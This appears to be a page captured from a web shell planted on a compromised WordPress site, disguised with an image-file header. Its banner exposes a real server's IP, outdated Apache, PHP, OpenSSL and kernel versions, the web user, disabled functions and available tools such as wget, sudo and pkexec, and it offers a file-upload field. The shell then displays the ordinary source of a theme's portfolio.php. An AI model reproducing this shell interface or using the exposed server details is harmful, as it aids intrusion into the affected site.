????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.21.106.4 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/themes/x/framework/functions/global/ |
Upload File : |
<?php // ============================================================================= // FUNCTIONS/GLOBAL/PORTFOLIO.PHP // ----------------------------------------------------------------------------- // Portfolio related functions beyond custom post type setup. // ============================================================================= // ============================================================================= // TABLE OF CONTENTS // ----------------------------------------------------------------------------- // 01. Get the Page Link to First Portfolio Page // 02. Get the Page Title to First Portfolio Page // 03. Get Parent Portfolio ID // 04. Get Parent Portfolio Link // 05. Get Parent Portfolio Title // 06. Output Portfolio Filters // 07. Output Portfolio Item Featured Content // 08. Output Portfolio Item Project Link // 09. Output Portfolio Item Tags // 10. Output Portfolio Item Social // 11. Portfolio Page Template Precedence // ============================================================================= // Get the Page Link to First Portfolio Page // ============================================================================= function x_get_first_portfolio_page_link() { $results = get_pages( array( 'meta_key' => '_wp_page_template', 'meta_value' => 'template-layout-portfolio.php', 'sort_order' => 'ASC', 'sort_column' => 'ID' ) ); return get_page_link( $results[0]->ID ); } // Get the Page Title to First Portfolio Page // ============================================================================= function x_get_first_portfolio_page_title() { $results = get_pages( array( 'meta_key' => '_wp_page_template', 'meta_value' => 'template-layout-portfolio.php', 'sort_order' => 'ASC', 'sort_column' => 'ID' ) ); return $results[0]->post_title; } // Get Parent Portfolio ID // ============================================================================= function x_get_parent_portfolio_id() { $meta = get_post_meta( get_the_ID(), '_x_portfolio_parent', true ); $parent_id = ( $meta ) ? $meta : 'Default'; return $parent_id; } // Get Parent Portfolio Link // ============================================================================= function x_get_parent_portfolio_link() { $parent_id = x_get_parent_portfolio_id(); $link = ( $parent_id != 'Default' ) ? get_permalink( $parent_id ) : x_get_first_portfolio_page_link(); return $link; } // Get Parent Portfolio Title // ============================================================================= function x_get_parent_portfolio_title() { $parent_id = x_get_parent_portfolio_id(); $title = ( $parent_id != 'Default' ) ? get_the_title( $parent_id ) : x_get_first_portfolio_page_title(); return $title; } // Output Portfolio Filters // ============================================================================= function x_portfolio_filters() { $stack = x_get_stack(); $filters = get_post_meta( get_the_ID(), '_x_portfolio_category_filters', true ); $disable_filters = get_post_meta( get_the_ID(), '_x_portfolio_disable_filtering', true ); $one_filter = count( $filters ) == 1; $all_categories = in_array( 'All Categories', $filters ); // // 1. If one filter is selected and that filter is "All Categories." // 2. If one filter is selected and that filter is a category. // 3. If more than one category filter is selected. // if ( $one_filter && $all_categories ) { // 1 $terms = get_terms( 'portfolio-category' ); } elseif ( $one_filter && ! $all_categories ) { // 2 $terms = array(); foreach ( $filters as $filter ) { $children = get_term_children( $filter, 'portfolio-category' ); $terms = array_merge( $children, $terms ); } $terms = get_terms( 'portfolio-category', array( 'include' => $terms ) ); } else { // 3 $terms = array(); foreach ( $filters as $filter ) { $parent = array( $filter ); $children = get_term_children( $filter, 'portfolio-category' ); $terms = array_merge( $parent, $terms ); $terms = array_merge( $children, $terms ); } $terms = get_terms( 'portfolio-category', array( 'include' => $terms ) ); } // // Main filter button content. // if ( $stack == 'integrity' ) { $button_content = '<i class="x-icon-sort" data-x-icon=""></i> <span>' . x_get_option( 'x_integrity_portfolio_archive_sort_button_text' ) . '</span>'; } elseif ( $stack == 'ethos' ) { $button_content = '<i class="x-icon-chevron-down" data-x-icon=""></i>'; } else { $button_content = '<i class="x-icon-plus" data-x-icon=""></i>'; } // // Filters. // if ( $disable_filters != 'on' ) { if ( $stack != 'ethos' ) { ?> <ul class="option-set unstyled" data-option-key="filter"> <li> <a href="#" class="x-portfolio-filters"><?php echo $button_content; ?></a> <ul class="x-portfolio-filters-menu unstyled"> <li><a href="#" data-option-value="*" class="x-portfolio-filter selected"><?php _e( 'All', '__x__' ); ?></a></li> <?php foreach ( $terms as $term ) { ?> <li><a href="#" data-option-value=".x-portfolio-<?php echo md5( $term->slug ); ?>" class="x-portfolio-filter"><?php echo $term->name; ?></a></li> <?php } ?> </ul> </li> </ul> <?php } elseif ( $stack == 'ethos' ) { ?> <ul class="option-set unstyled" data-option-key="filter"> <li> <a href="#" class="x-portfolio-filters cf"> <span class="x-portfolio-filter-label"><?php _e( 'Filter by Category', '__x__' ); ?></span> <?php echo $button_content; ?> </a> <ul class="x-portfolio-filters-menu unstyled"> <li><a href="#" data-option-value="*" class="x-portfolio-filter selected"><?php _e( 'All', '__x__' ); ?></a></li> <?php foreach ( $terms as $term ) { ?> <li><a href="#" data-option-value=".x-portfolio-<?php echo md5( $term->slug ); ?>" class="x-portfolio-filter"><?php echo $term->name; ?></a></li> <?php } ?> </ul> </li> </ul> <?php } } } // Output Portfolio Item Featured Content // ============================================================================= function x_portfolio_item_featured_content() { if ( x_get_option( 'x_portfolio_enable_cropped_thumbs' ) == '1' ) : x_featured_portfolio( 'cropped' ); else : x_featured_portfolio(); endif; } // Output Portfolio Item Project Link // ============================================================================= function x_portfolio_item_project_link() { $project_link = get_post_meta( get_the_ID(), '_x_portfolio_project_link', true ); $launch_title = x_get_option( 'x_portfolio_launch_project_title' ); $launch_button = x_get_option( 'x_portfolio_launch_project_button_text' ); if ( $project_link ) : ?> <h2 class="h-extra launch"><?php echo $launch_title; ?></h2> <a href="<?php echo $project_link; ?>" title="<?php echo $launch_button; ?>" class="x-btn x-btn-block" target="_blank"><?php echo $launch_button; ?></a> <?php endif; } // Output Portfolio Item Tags // ============================================================================= function x_portfolio_item_tags() { $stack = x_get_stack(); $tag_title = x_get_option( 'x_portfolio_tag_title' ); if ( has_term( NULL, 'portfolio-tag', NULL ) ) : echo '<h2 class="h-extra skills">' . $tag_title . '</h2>'; call_user_func( 'x_' . $stack . '_portfolio_tags'); endif; } // Output Portfolio Item Social // ============================================================================= function x_portfolio_item_social() { $share_project_title = x_get_option( 'x_portfolio_share_project_title' ); $enable_facebook = x_get_option( 'x_portfolio_enable_facebook_sharing' ); $enable_twitter = x_get_option( 'x_portfolio_enable_twitter_sharing' ); $enable_google_plus = x_get_option( 'x_portfolio_enable_google_plus_sharing' ); $enable_linkedin = x_get_option( 'x_portfolio_enable_linkedin_sharing' ); $enable_pinterest = x_get_option( 'x_portfolio_enable_pinterest_sharing' ); $enable_reddit = x_get_option( 'x_portfolio_enable_reddit_sharing' ); $enable_email = x_get_option( 'x_portfolio_enable_email_sharing' ); $share_url = urlencode( get_permalink() ); $share_title = urlencode( get_the_title() ); $share_source = urlencode( get_bloginfo( 'name' ) ); $share_content = urlencode( get_the_excerpt() ); $share_image = urlencode( x_get_featured_image_with_fallback_url() ); $facebook = ( $enable_facebook == '1' ) ? "<a href=\"#share\" data-toggle=\"tooltip\" data-placement=\"bottom\" data-trigger=\"hover\" class=\"x-share\" title=\"" . __( 'Share on Facebook', '__x__' ) . "\" onclick=\"window.open('http://www.facebook.com/sharer.php?u={$share_url}&t={$share_title}', 'popupFacebook', 'width=650, height=270, resizable=0, toolbar=0, menubar=0, status=0, location=0, scrollbars=0'); return false;\"><i class=\"x-icon-facebook-square\" data-x-icon=\"\"></i></a>" : ''; $twitter = ( $enable_twitter == '1' ) ? "<a href=\"#share\" data-toggle=\"tooltip\" data-placement=\"bottom\" data-trigger=\"hover\" class=\"x-share\" title=\"" . __( 'Share on Twitter', '__x__' ) . "\" onclick=\"window.open('https://twitter.com/intent/tweet?text={$share_title}&url={$share_url}', 'popupTwitter', 'width=500, height=370, resizable=0, toolbar=0, menubar=0, status=0, location=0, scrollbars=0'); return false;\"><i class=\"x-icon-twitter-square\" data-x-icon=\"\"></i></a>" : ''; $google_plus = ( $enable_google_plus == '1' ) ? "<a href=\"#share\" data-toggle=\"tooltip\" data-placement=\"bottom\" data-trigger=\"hover\" class=\"x-share\" title=\"" . __( 'Share on Google+', '__x__' ) . "\" onclick=\"window.open('https://plus.google.com/share?url={$share_url}', 'popupGooglePlus', 'width=650, height=226, resizable=0, toolbar=0, menubar=0, status=0, location=0, scrollbars=0'); return false;\"><i class=\"x-icon-google-plus-square\" data-x-icon=\"\"></i></a>" : ''; $linkedin = ( $enable_linkedin == '1' ) ? "<a href=\"#share\" data-toggle=\"tooltip\" data-placement=\"bottom\" data-trigger=\"hover\" class=\"x-share\" title=\"" . __( 'Share on LinkedIn', '__x__' ) . "\" onclick=\"window.open('http://www.linkedin.com/shareArticle?mini=true&url={$share_url}&title={$share_title}&summary={$share_content}&source={$share_source}', 'popupLinkedIn', 'width=610, height=480, resizable=0, toolbar=0, menubar=0, status=0, location=0, scrollbars=0'); return false;\"><i class=\"x-icon-linkedin-square\" data-x-icon=\"\"></i></a>" : ''; $pinterest = ( $enable_pinterest == '1' ) ? "<a href=\"#share\" data-toggle=\"tooltip\" data-placement=\"bottom\" data-trigger=\"hover\" class=\"x-share\" title=\"" . __( 'Share on Pinterest', '__x__' ) . "\" onclick=\"window.open('http://pinterest.com/pin/create/button/?url={$share_url}&media={$share_image}&description={$share_title}', 'popupPinterest', 'width=750, height=265, resizable=0, toolbar=0, menubar=0, status=0, location=0, scrollbars=0'); return false;\"><i class=\"x-icon-pinterest-square\" data-x-icon=\"\"></i></a>" : ''; $reddit = ( $enable_reddit == '1' ) ? "<a href=\"#share\" data-toggle=\"tooltip\" data-placement=\"bottom\" data-trigger=\"hover\" class=\"x-share\" title=\"" . __( 'Share on Reddit', '__x__' ) . "\" onclick=\"window.open('http://www.reddit.com/submit?url={$share_url}', 'popupReddit', 'width=875, height=450, resizable=0, toolbar=0, menubar=0, status=0, location=0, scrollbars=0'); return false;\"><i class=\"x-icon-reddit-square\" data-x-icon=\"\"></i></a>" : ''; $email = ( $enable_email == '1' ) ? "<a href=\"mailto:?subject=" . urlencode( get_the_title() ) . "&body=" . urlencode( __( 'Hey, thought you might enjoy this! Check it out when you have a chance:', '__x__' ) ) . " " . get_permalink() . "\" data-toggle=\"tooltip\" data-placement=\"bottom\" data-trigger=\"hover\" class=\"x-share email\" title=\"" . __( 'Share via Email', '__x__' ) . "\"><span><i class=\"x-icon-envelope-square\" data-x-icon=\"\"></i></span></a>" : ''; if ( $enable_facebook == '1' || $enable_twitter == '1' || $enable_google_plus == '1' || $enable_linkedin == '1' || $enable_pinterest == '1' || $enable_reddit == '1' || $enable_email == '1' ) : ?> <div class="x-entry-share man"> <div class="x-share-options"> <p><?php echo $share_project_title; ?></p> <?php echo $facebook . $twitter . $google_plus . $linkedin . $pinterest . $reddit . urldecode( $email ); ?> </div> </div> <?php endif; } // Portfolio Page Template Precedence // ============================================================================= // // Allows a user to set their Custom Portfolio Slug to the same value as their // page slug. When the x-portfolio post type is found, it gives precedence to // the portfolio template page instead of the archive page. // function x_portfolio_page_template_precedence( $request ) { if ( array_key_exists( 'post_type', $request ) && 'x-portfolio' == $request['post_type'] ) { $page_slug = basename( $_SERVER['REQUEST_URI'] ); if ( get_page_by_path( $page_slug ) && ( x_get_option( 'x_custom_portfolio_slug' ) == $page_slug ) ) { unset( $request['post_type'] ); $request['pagename'] = $page_slug; } } return $request; } add_filter( 'request', 'x_portfolio_page_template_precedence' );